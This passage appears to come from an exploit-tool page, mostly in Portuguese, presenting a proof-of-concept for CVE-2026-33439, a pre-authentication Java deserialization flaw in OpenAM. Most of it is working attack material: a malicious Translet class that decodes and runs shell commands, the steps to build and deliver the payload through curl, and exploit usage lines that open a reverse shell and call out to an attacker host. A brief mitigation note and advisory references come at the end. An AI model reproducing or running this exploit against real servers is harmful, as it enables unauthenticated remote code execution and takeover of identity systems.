    cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

    public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

    javac -cp $CP /work/EvilTranslet.java

    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64

    PAYLOAD=$(cat /work/payload_shell.b64)

    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

    root@kitploit:~
    ---
    
    <div id="exploitation_poc"/>
    
    ### ***Uso da Ferramenta PoC***
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
    </p>
    
    O script Python automatiza toda a cadeia: compila o EvilTranslet, constrói a cadeia de gadgets via PayloadBuilder, codifica com base64 URL-safe e entrega.```bash
    # Copy JARs to the exploit directory first
    
    [attacker@lab /work]$
    
    touch Exploit_CVE_2026_33439.py
    
    vi Exploit_CVE_2026_33439.py
    
    python3 Exploit_CVE_2026_33439.py --help
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
    



    🛡️ Mitigação

    • Correção: Atualize para OpenAM 16.0.6 ou posterior. A correção estende o WhitelistObjectInputStream ao ClientSession.deserializeAttributes(), correspondendo à proteção já aplicada ao ConsoleViewBeanBase.deserializePageAttributes() após o CVE-2021-35464.



    📚 Referências

    • CVE-2026-33439 - NVD

    Entrada do National Vulnerability Database para o CVE-2026-33439.

    • GitHub Security Advisory GHSA-2cqq-rpvq-g5qj

    Aviso oficial com análise da causa raiz, código afetado e detalhes da cadeia de gadgets.

    • CVE-2021-35464 - ForgeRock AM Pre-Auth RCE

    A vulnerabilidade ancestral que introduziu o WhitelistObjectInputStream para jato.pageSession.

    • Pre-Auth RCE in ForgeRock OpenAM - PortSwigger Research

    Pesquisa original sobre o CVE-2021-35464 abordando o mecanismo de desserialização do JATO.

    • CWE-502 - Deserialization of Untrusted Data

    Entrada MITRE CWE que descreve a classe de vulnerabilidade.